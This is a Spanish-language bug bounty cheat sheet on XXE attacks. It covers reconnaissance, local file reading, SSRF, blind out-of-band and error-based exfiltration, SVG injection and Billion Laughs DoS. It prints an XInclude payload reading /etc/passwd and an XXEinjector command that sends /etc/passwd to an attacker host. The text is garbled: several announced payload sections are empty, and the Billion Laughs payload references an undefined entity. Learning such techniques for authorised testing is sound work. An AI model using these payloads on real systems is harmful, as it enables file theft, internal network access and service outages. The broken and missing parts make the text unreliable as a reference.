¿Qué es XXE?
El XXE ocurre cuando una aplicación procesa datos XML y permite la definición de entidades externas. Un atacante puede usar esto para forzar al servidor a leer archivos locales, realizar peticiones internas (SSRF) o, en casos raros, ejecutar código.
¿Por qué es oro en Bug Bounty?
Porque suele pasar desapercibido en escaneos automáticos simples y, al afectar la infraestructura del servidor, suele calificarse como P1 (Critical) o P2 (High) en plataformas como HackerOne.
Metodología de Reconocimiento
No busques solo etiquetas <xml>. Busca comportamientos:
- Content-Type Sniffing: Envía
Content-Type: application/xmla un endpoint que espera JSON. Si el servidor responde con un error de "Malformed XML" en lugar de "Unsupported Media Type", tienes un parser activo. - File Uploads: Sube un archivo
.docxo.svgcon una entidad externa. Si el servidor tarda en procesar o hace un callback a tu servidor, es vulnerable. - SOAP Endpoints: Los servicios antiguos (WSDL) son minas de oro para XXE por diseño.
Tabla de Payloads "Battle-Tested"
Cheat Sheet de Payloads (The "Bread and Butter")
Lectura de Archivos Locales (LFI)
El clásico para demostrar impacto inmediato leyendo el archivo /etc/passwd.
SSRF (Server-Side Request Forgery)
Utilizar al servidor vulnerable como proxy para atacar servicios internos o nubes (AWS, Azure).
Out-of-Band (OOB) XXE (Blind XXE)
Cuando el servidor procesa el XML pero no muestra el resultado en la respuesta. Necesitas un servidor que tú controles (como Burp Collaborator o un VPS con Python).
Estrategias Avanzadas de Exfiltración
Error-Based XXE (Sin conexión saliente)
Si el firewall bloquea conexiones externas (no puedes usar OOB), intenta que el servidor escupa el contenido en un error de parseo.
El servidor intentará leer /nonexistent/root:x:0... y fallará, mostrando la ruta (y los datos) en el log de error.
Local DTD Hijacking (Bypass de Firewalls Estrictos)
Si el servidor bloquea el acceso a DTDs externos, busca DTDs locales en el sistema (comunes en Linux/Java) y redefine sus entidades para causar un error con datos.
XXE en Archivos SVG
Muchas aplicaciones permiten subir imágenes. Como el SVG es XML, puedes inyectar el payload ahí.
Ataque de "Billion Laughs" (DoS)
Si no se logra exfiltrar datos, lo mejor es demostrar que se puede agotar los recursos del servidor (CPU/RAM). Nota: Esto solo con autorización previa.
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<root>&lol9;</root>Herramientas y Automatización
Aunque el XXE es manual, estas herramientas aceleran el proceso:
|Herramienta |Función |Comando Pro |
|----------- |---------------------- |----------------------------------------------------------------- |
|Burp Suite |Manual testing |Uso del tab "Collaborator" para Blind XXE. |
|XXEinjector |Automatiza OOB |ruby XXEinjector.rb --host=[IP] --file=req.txt --path=/etc/passwd |
|OOB-Server |Servidor para exfiltra |python3 oob_server.py |El "XInclude Attack"
A veces no se puede definir un DOCTYPE porque el servidor lo bloquea o lo filtra. En esos casos, se puede intentar un XInclude, que es una forma de incluir archivos dentro del cuerpo del XML sin necesidad de DTD.
Payload:
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>Este método es devastador porque muchos WAFs solo buscan la etiqueta <!ENTITY y dejan pasar los namespaces de XInclude.
Conéctate conmigo
¿Te fue útil esta información? Puedes encontrar más contenido en: